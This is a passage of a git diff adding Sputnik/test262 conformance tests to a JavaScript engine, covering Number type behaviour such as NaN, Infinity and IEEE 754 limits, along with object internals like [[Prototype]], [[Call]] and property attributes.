+ * @path ch08/8.5/S8.5_A12.2.js
+ * @description Compare -Infinity with Number.NEGATIVE_INFINITY
+ */
+
+var n_inf=-Infinity;
+
+//CHECK #1
+if (n_inf !== Number.NEGATIVE_INFINITY){
+ $ERROR('#1: -Infinity is the same as Number.NEGATIVE_INFINITY');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A13_T2.js b/js/src/tests/test262/ch08/8.5/S8.5_A13_T2.js
new file mode 100644
index 000000000..ef7e2a5ca
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A13_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Finite nonzero values that are Normalised having the form s*m*2**e
+ * where s is +1 or -1, m is a positive integer less than 2**53 but not
+ * less than s**52 and e is an integer ranging from -1074 to 971
+ *
+ * @path ch08/8.5/S8.5_A13_T2.js
+ * @description Finite Non zero values where e is 971
+ */
+
+//CHECK #1
+if ((1*(Math.pow(2,52))*(Math.pow(2,971))) !== 8.98846567431158e+307){
+ $ERROR('#1: (1*(Math.pow(2,52))*(Math.pow(2,971))) === 8.98846567431158e+307. Actual: ' + ((1*(Math.pow(2,52))*(Math.pow(2,971)))));
+}
+
+//CHECK #2
+if ((1*((Math.pow(2,53))-1)*(Math.pow(2,971))) !== 1.7976931348623157e+308){
+ $ERROR('#2: (1*((Math.pow(2,53))-1)*(Math.pow(2,971))) === 1.7976931348623157e+308. Actual: ' + ((1*((Math.pow(2,53))-1)*(Math.pow(2,971)))));
+}
+
+//CHECK #3
+if ((-1*(Math.pow(2,52))*(Math.pow(2,971))) !== -8.98846567431158e+307){
+ $ERROR('#3: (-1*(Math.pow(2,52))*(Math.pow(2,971))) === -8.98846567431158e+307. Actual: ' + ((-1*(Math.pow(2,52))*(Math.pow(2,971)))));
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A14_T1.js b/js/src/tests/test262/ch08/8.5/S8.5_A14_T1.js
new file mode 100644
index 000000000..0b5e87b3e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A14_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When number absolute value is bigger of 2**1024 should convert to Infinity
+ *
+ * @path ch08/8.5/S8.5_A14_T1.js
+ * @description Create number bigger of 2**1024
+ */
+
+//CHECK #1
+if (1e+308*2 !== Infinity){
+ $ERROR('#1: 1e+308*2 === Infinity. Actual: ' + (1e+308*2));
+}
+
+//CHECK #2
+if ((1*(Math.pow(2,53))*(Math.pow(2,971))) !== Infinity){
+ $ERROR('#2: (1*(Math.pow(2,53))*(Math.pow(2,971))) === Infinity. Actual: ' + ((1*(Math.pow(2,53))*(Math.pow(2,971)))));
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A14_T2.js b/js/src/tests/test262/ch08/8.5/S8.5_A14_T2.js
new file mode 100644
index 000000000..37dc8cd5f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A14_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When number absolute value is bigger of 2**1024 should convert to Infinity
+ *
+ * @path ch08/8.5/S8.5_A14_T2.js
+ * @description Create number smaller of -2**1024
+ */
+
+//CHECK #1
+if (-1e+308*3 !== -Infinity){
+ $ERROR('#1: -1e+308*3 === Infinity. Actual: ' + (-1e+308*3));
+}
+
+//CHECK #2
+if ((-1*(Math.pow(2,53))*(Math.pow(2,971))) !== -Infinity){
+ $ERROR('#2: (-1*(Math.pow(2,53))*(Math.pow(2,971))) === Infinity. Actual: ' + ((-1*(Math.pow(2,53))*(Math.pow(2,971)))));
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A2.1.js b/js/src/tests/test262/ch08/8.5/S8.5_A2.1.js
new file mode 100644
index 000000000..0baca20f9
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A2.1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Number type represented as the double precision 64-bit format IEEE 754
+ *
+ * @path ch08/8.5/S8.5_A2.1.js
+ * @description Use 2^53 + 2 number and do some operation with it
+ */
+
+var x = 9007199254740994.0; /* 2^53 + 2 */
+var y = 1.0 - 1/65536.0;
+var z = x + y;
+var d = z - x;
+
+if (d !== 0){
+ $ERROR('#1: var x = 9007199254740994.0; var y = 1.0 - 1/65536.0; var z = x + y; var d = z - x; d === 0. Actual: ' + (d));
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A2.2.js b/js/src/tests/test262/ch08/8.5/S8.5_A2.2.js
new file mode 100644
index 000000000..eec062201
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A2.2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Number type represented as the extended precision 64-bit format IEEE 754
+ *
+ * @path ch08/8.5/S8.5_A2.2.js
+ * @description Use 2^53 + 2 number and do some operation with it
+ */
+
+var x = 9007199254740994.0; /* 2^53 + 2 */
+var y = 1.0 - 1/65536.0;
+var z = x + y;
+var d = z - x;
+
+if (d === 2){
+ $ERROR('#1: var x = 9007199254740994.0; var y = 1.0 - 1/65536.0; var z = x + y; var d = z - x; d !== 2');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A3.js b/js/src/tests/test262/ch08/8.5/S8.5_A3.js
new file mode 100644
index 000000000..89f1299a6
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NaN expression has a type Number
+ *
+ * @path ch08/8.5/S8.5_A3.js
+ * @description Check type of NaN
+ */
+
+var x=NaN;
+
+///////////////////////////////////////////////////////
+// CHECK#1
+if (typeof(x) !== "number"){
+ $ERROR('#1: var x=NaN; typeof(x) === "number". Actual: ' + (typeof(x)));
+}
+//
+//////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////
+// CHECK#2
+if (typeof(NaN) !== "number"){
+ $ERROR('#2: typeof(NaN) === "number". Actual: ' + (typeof(NaN)));
+}
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A4.js b/js/src/tests/test262/ch08/8.5/S8.5_A4.js
new file mode 100644
index 000000000..b54f8dbef
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NaN is not a keyword
+ *
+ * @path ch08/8.5/S8.5_A4.js
+ * @description Create variable entitled NaN
+ */
+
+var NaN=1.0;
+NaN='asdf';
+NaN=true;
+NaN=Number.NaN;
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A5.js b/js/src/tests/test262/ch08/8.5/S8.5_A5.js
new file mode 100644
index 000000000..6587609c2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A5.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * NaN not greater or equal zero
+ *
+ * @path ch08/8.5/S8.5_A5.js
+ * @description Compare NaN with zero
+ */
+
+var x = NaN;
+var x_geq_0=(x >= 0.0);
+var x_leq_0=(x <= 0.0);
+var x_leq_0_OR_geq_0=(x <= 0.0)||(x >= 0.0);
+var x_geq_0_ADD_leq_0=(x >= 0.0) + (x <= 0.0);
+
+
+///////////////////////////////////////////////////
+// CHECK#1
+if (x_geq_0){
+ $ERROR('#1: NaN not greater or equal zero');
+} else {
+ $PRINT('#1: NaN not greater or equal zero');
+}
+//
+///////////////////////////////////////////////////
+
+///////////////////////////////////////////////////
+// CHECK#2
+if (x_leq_0){
+ $ERROR('#2: NaN not less or equal zero');
+} else {
+ $PRINT('#2: NaN not less or equal zero');
+}
+//
+///////////////////////////////////////////////////
+
+///////////////////////////////////////////////////
+// CHECK#3
+if (x_leq_0_OR_geq_0){
+ $ERROR('#3: NaN not less or equal zero OR greater or equal zero');
+} else {
+ $PRINT('#3: NaN not less or equal zero OR greater or equal zero');
+}
+//
+///////////////////////////////////////////////////
+
+///////////////////////////////////////////////////
+// CHECK#4
+if (x_geq_0_ADD_leq_0){
+ $ERROR('#4: NaN not less or equal zero ADD greater or equal zero');
+} else {
+ $PRINT('#4: NaN not less or equal zero ADD greater or equal zero');
+}
+//
+///////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A6.js b/js/src/tests/test262/ch08/8.5/S8.5_A6.js
new file mode 100644
index 000000000..e621f7563
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A6.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * -Infinity expression has a type Number
+ *
+ * @path ch08/8.5/S8.5_A6.js
+ * @description Check type of -Infinity
+ */
+
+var x=-Infinity;
+
+///////////////////////////////////////////////////////
+// CHECK#1
+if (typeof(x) !== "number"){
+ $ERROR('#1: var x=-Infinity; typeof(x) === "number". Actual: ' + (typeof(x)));
+}
+//
+//////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////
+// CHECK#2
+if (typeof(-Infinity) !== "number"){
+ $ERROR('#2: typeof(-Infinity) === "number". Actual: ' + (typeof(-Infinity)));
+}
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A7.js b/js/src/tests/test262/ch08/8.5/S8.5_A7.js
new file mode 100644
index 000000000..0f17e85f0
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A7.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * +Infinity expression has a type Number
+ *
+ * @path ch08/8.5/S8.5_A7.js
+ * @description Check type of +Infinity
+ */
+
+var x=+Infinity;
+
+///////////////////////////////////////////////////////
+// CHECK#1
+if (typeof(x) !== "number"){
+ $ERROR('#1: var x=+Infinity; typeof(x) === "number". Actual: ' + (typeof(x)));
+}
+//
+//////////////////////////////////////////////////////////
+
+///////////////////////////////////////////////////////
+// CHECK#2
+if (typeof(+Infinity) !== "number"){
+ $ERROR('#2: typeof(+Infinity) === "number". Actual: ' + (typeof(+Infinity)));
+}
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A8.js b/js/src/tests/test262/ch08/8.5/S8.5_A8.js
new file mode 100644
index 000000000..95c87824b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A8.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Infinity is the same as +Infinity
+ *
+ * @path ch08/8.5/S8.5_A8.js
+ * @description Compare Infinity and +Infinity
+ */
+
+var p_inf=+Infinity;
+var inf=Infinity;
+
+///////////////////////////////////////////////////////
+//
+if (p_inf!==inf){
+ $ERROR('#1: Infinity is the same as +Infinity');
+}
+//
+//////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.5/S8.5_A9.js b/js/src/tests/test262/ch08/8.5/S8.5_A9.js
new file mode 100644
index 000000000..ff783d50f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/S8.5_A9.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Globally defined variable NaN has not been altered by program execution
+ *
+ * @path ch08/8.5/S8.5_A9.js
+ * @description Try alter globally defined variable NaN
+ * @noStrict
+ */
+
+Number.NaN = 1;
+
+if (Number.NaN === 1) {
+ $ERROR('#1: Globally defined variable NaN has not been altered by program execution');
+}
+
diff --git a/js/src/tests/test262/ch08/8.5/browser.js b/js/src/tests/test262/ch08/8.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/browser.js
diff --git a/js/src/tests/test262/ch08/8.5/shell.js b/js/src/tests/test262/ch08/8.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.5/shell.js
diff --git a/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A1.js b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A1.js
new file mode 100644
index 000000000..df5609b38
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property can have attribute ReadOnly like E in Math
+ *
+ * @path ch08/8.6/8.6.1/S8.6.1_A1.js
+ * @description Try change Math.E property
+ * @noStrict
+ */
+
+var __e = Math.E;
+Math.E=1;
+if (Math.E !==__e){
+ $ERROR('#1: __e = Math.E; Math.E=1; Math.E ===__e');
+}
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A2.js b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A2.js
new file mode 100644
index 000000000..c8fe932c5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property can have attribute DontEnum like all properties of Number
+ *
+ * @path ch08/8.6/8.6.1/S8.6.1_A2.js
+ * @description Try to enumerate properties of Number
+ */
+
+//CHECK#1
+var count=0;
+for (p in Number) count++;
+if (count > 0){
+ $ERROR('#1: count=0; for (p in Number) count++; count > 0. Actual: ' + (count));
+}
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A3.js b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A3.js
new file mode 100644
index 000000000..099dc46c9
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.1/S8.6.1_A3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A property can have attribute DontDelete like NaN propertie of Number object
+ *
+ * @path ch08/8.6/8.6.1/S8.6.1_A3.js
+ * @description Try to delete Number.NaN
+ * @noStrict
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (delete Number.NaN !== false){
+ $ERROR('#1: delete Number.NaN === false. Actual: ' + (delete Number.NaN));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof(Number.NaN) === "undefined"){
+ $ERROR('#2: delete Number.NaN; typeof(Number.NaN) !== "undefined" ');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.1/browser.js b/js/src/tests/test262/ch08/8.6/8.6.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.1/browser.js
diff --git a/js/src/tests/test262/ch08/8.6/8.6.1/shell.js b/js/src/tests/test262/ch08/8.6/8.6.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.1/shell.js
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A1.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A1.js
new file mode 100644
index 000000000..371d16848
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A1.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Native ECMAScript objects have an internal property called [[Prototype]]. The value of this property is
+ * either null or an object and is used for implementing inheritance
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A1.js
+ * @description Check [[Prototype]] property of object
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var __obj={};
+if (!Object.prototype.isPrototypeOf(__obj)){
+ $ERROR('#1: Native ECMAScript objects have an internal property called [[Prototype]]. ');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//Establish proto (base) object
+/*function ProtoObj(){
+
+};*/
+var protoObj={};
+//Establish foo object
+function FooObj(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+// Invoke instance of foo object
+var obj__= new FooObj;
+
+if (!Object.prototype.isPrototypeOf(obj__)){
+ $ERROR('#2.1: protoObj={}; function FooObj(){}; var obj__= new FooObj; Object.prototype.isPrototypeOf(obj__) === true. Actual: ' + (Object.prototype.isPrototypeOf(obj__)));
+};
+
+if (!FooObj.prototype.isPrototypeOf(obj__)){
+ $ERROR('#2.2: protoObj={}; function FooObj(){}; var obj__= new FooObj; FooObj.prototype.isPrototypeOf(obj__) === true. Actual: ' + (FooObj.prototype.isPrototypeOf(obj__)));
+};
+
+if (protoObj.isPrototypeOf(obj__)){
+ $ERROR('#2.3: protoObj={}; function FooObj(){}; var obj__= new FooObj; protoObj.isPrototypeOf(obj__) === false. Actual: ' + (protoObj.isPrototypeOf(obj__)));
+};
+// Establish inheritance from proto object
+FooObj.prototype=protoObj;
+
+if (protoObj.isPrototypeOf(obj__)){
+ $ERROR('#2.4: protoObj={}; function FooObj(){}; var obj__= new FooObj; FooObj.prototype=protoObj; protoObj.isPrototypeOf(obj__) === false. Actual: ' + (protoObj.isPrototypeOf(obj__)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+
+// Invoke instance of foo object
+var __foo=new FooObj;
+
+if (!Object.prototype.isPrototypeOf(__foo)){
+ $ERROR('#3.1: protoObj={}; function FooObj(){}; var obj__= new FooObj; FooObj.prototype=protoObj; var __foo=new FooObj; Object.prototype.isPrototypeOf(__foo) === true. Actual: ' + (Object.prototype.isPrototypeOf(__foo)));
+};
+
+if (!FooObj.prototype.isPrototypeOf(__foo)){
+ $ERROR('#3.2: protoObj={}; function FooObj(){}; var obj__= new FooObj; FooObj.prototype=protoObj; var __foo=new FooObj; FooObj.prototype.isPrototypeOf(__foo) === true. Actual: ' + (FooObj.prototype.isPrototypeOf(__foo)));
+};
+
+if (!protoObj.isPrototypeOf(__foo)){
+ $ERROR('#3.3: protoObj={}; function FooObj(){}; var obj__= new FooObj; FooObj.prototype=protoObj; var __foo=new FooObj; protoObj.isPrototypeOf(__foo) === true. Actual: ' + (protoObj.isPrototypeOf(__foo)));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A2.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A2.js
new file mode 100644
index 000000000..5d4ccbd3e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Properties of the [[Prototype]] object
+ * are visible as properties of the child object for the purposes of get access, but not for put access
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A2.js
+ * @description Check visibility properties of the child object for the purposes of get access, but not for put access
+ */
+
+//Establish foo object
+function FooObj(){};
+FooObj.prototype.prop="some";
+
+// Invoke instance of foo object
+var foo= new FooObj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (foo.prop !== "some"){
+ $ERROR('#1: function FooObj(){}; FooObj.prototype.prop="some"; var foo= new FooObj; foo.prop === "some". Actual: ' + (foo.prop));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+foo.prop=true;
+// Invoke another instance of foo object
+var foo__ = new FooObj;
+if (foo__.prop !== "some"){
+ $ERROR('#2: function FooObj(){}; FooObj.prototype.prop="some"; var foo= new FooObj; foo.prop=true; var foo__ = new FooObj; foo__.prop === "some". Actual: ' + (foo__.prop));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A3.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A3.js
new file mode 100644
index 000000000..506471148
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The specification does not provide any means for a program to access [[class]] value except through Object.prototype.toString
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A3.js
+ * @description Get [[class]] value except through Object.prototype.toString
+ */
+
+var __obj={};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.toString() !== "[object " + 'Object' + "]"){
+ $ERROR('#1: var __obj={}; __obj.toString() === "[object " + \'Object\' + "]". Actual: ' + (__obj.toString()));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A4.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A4.js
new file mode 100644
index 000000000..f147e6aaa
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A4.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[HasInstance]] returns a boolean value indicating whether Value delegates behaviour to this object
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A4.js
+ * @description Check that the obj instance of Object, but not instance
+ * of Function, String, Number, Array
+ */
+
+var __obj={};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__obj instanceof Object)) {
+ $ERROR('#1: var __obj={}; (__obj instanceof Object) === true. Actual: ' + ((__obj instanceof Object)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj instanceof Function) {
+ $ERROR('#2: var __obj={}; (__obj instanceof Function) === false. Actual: ' + ((__obj instanceof Function)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj instanceof String) {
+ $ERROR('#3: var __obj={}; (__obj instanceof String) === false. Actual: ' + ((__obj instanceof String)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__obj instanceof Number) {
+ $ERROR('#4: var __obj={}; (__obj instanceof Number) === false. Actual: ' + ((__obj instanceof Number)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (__obj instanceof Array) {
+ $ERROR('#5: var __obj={}; (__obj instanceof Array) === false. Actual: ' + ((__obj instanceof Array)));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T1.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T1.js
new file mode 100644
index 000000000..47fa0ef6f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Call]] executes code associated with the object
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A5_T1.js
+ * @description Call function-property of object, property defined
+ * as testScreen = {touch:function(){count++}}
+ */
+
+this.count=0;
+
+var testScreen = {touch:function(){count++}};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+testScreen.touch();
+if (count !==1) {
+ $ERROR('#1: this.count=0; testScreen = {touch:function(){count++}}; testScreen.touch(); count === 1. Actual: ' + (count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+testScreen['touch']();
+if (count !==2) {
+ $ERROR('#2: this.count=0; testScreen = {touch:function(){count++}}; testScreen.touch(); testScreen[\'touch\'](); count === 2. Actual: ' + (count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T2.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T2.js
new file mode 100644
index 000000000..391122473
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Call]] executes code associated with the object
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A5_T2.js
+ * @description Call function-property of object, property defined
+ * as seat['move']=function(){position++}
+ */
+
+this.position=0;
+var seat = {};
+seat['move']=function(){position++};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+seat.move();
+if (position !==1) {
+ $ERROR('#1: this.position=0; seat = {}; seat[\'move\']=function(){position++}; seat.move(); position === 1. Actual: ' + (position));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+seat['move']();
+if (position !==2) {
+ $ERROR('#2: this.position=0; seat = {}; seat[\'move\']=function(){position++}; seat.move(); seat[\'move\'](); position === 2. Actual: ' + (position));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T3.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T3.js
new file mode 100644
index 000000000..bbd603e4c
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Call]] executes code associated with the object
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A5_T3.js
+ * @description Call function-property of global object, property defined
+ * as knock=function(){count++}
+ */
+
+var count=0;
+var knock=function(){count++};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+knock();
+if (count !==1) {
+ $ERROR('#1: count=0; knock=function(){count++}; knock(); count === 1. Actual: ' + (count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+this['knock']();
+if (count !==2) {
+ $ERROR('#2: count=0; knock=function(){count++}; knock(); this[\'knock\'](); count === 2. Actual: ' + (count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T4.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T4.js
new file mode 100644
index 000000000..7f38b27a0
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A5_T4.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Call]] executes code associated with the object
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A5_T4.js
+ * @description Call function-property of global object, property defined
+ * as this['beep']=function(){__count++}
+ */
+
+var __count=0;
+
+this["beep"]=function(){__count++};
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+beep();
+if (__count !==1) {
+ $ERROR('#1: __count=0; this["beep"]=function(){__count++}; beep(); __count === 1. Actual: ' + (__count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+this["beep"]();
+if (__count !==2) {
+ $ERROR('#2: __count=0; this["beep"]=function(){__count++}; beep(); this["beep"](); __count === 2. Actual: ' + (__count));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A6.js b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A6.js
new file mode 100644
index 000000000..d62d34b47
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.6/8.6.2/S8.6.2_A6.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * [[Construct]] constructs an object. Invoked via the new operator. Objects that implement this internal method are called constructors
+ *
+ * @path ch08/8.6/8.6.2/S8.6.2_A6.js
+ * @description Create a few Objects via the new operator
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var objInstance=new Object;
+if (objInstance.constructor !== Object){
+ $ERROR('#1: var objInstance=new Object; objInstance.constructor === Object. Actual: ' + (objInstance.constructor));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+var numInstance=new Number;
+if (numInstance.constructor !== Number){
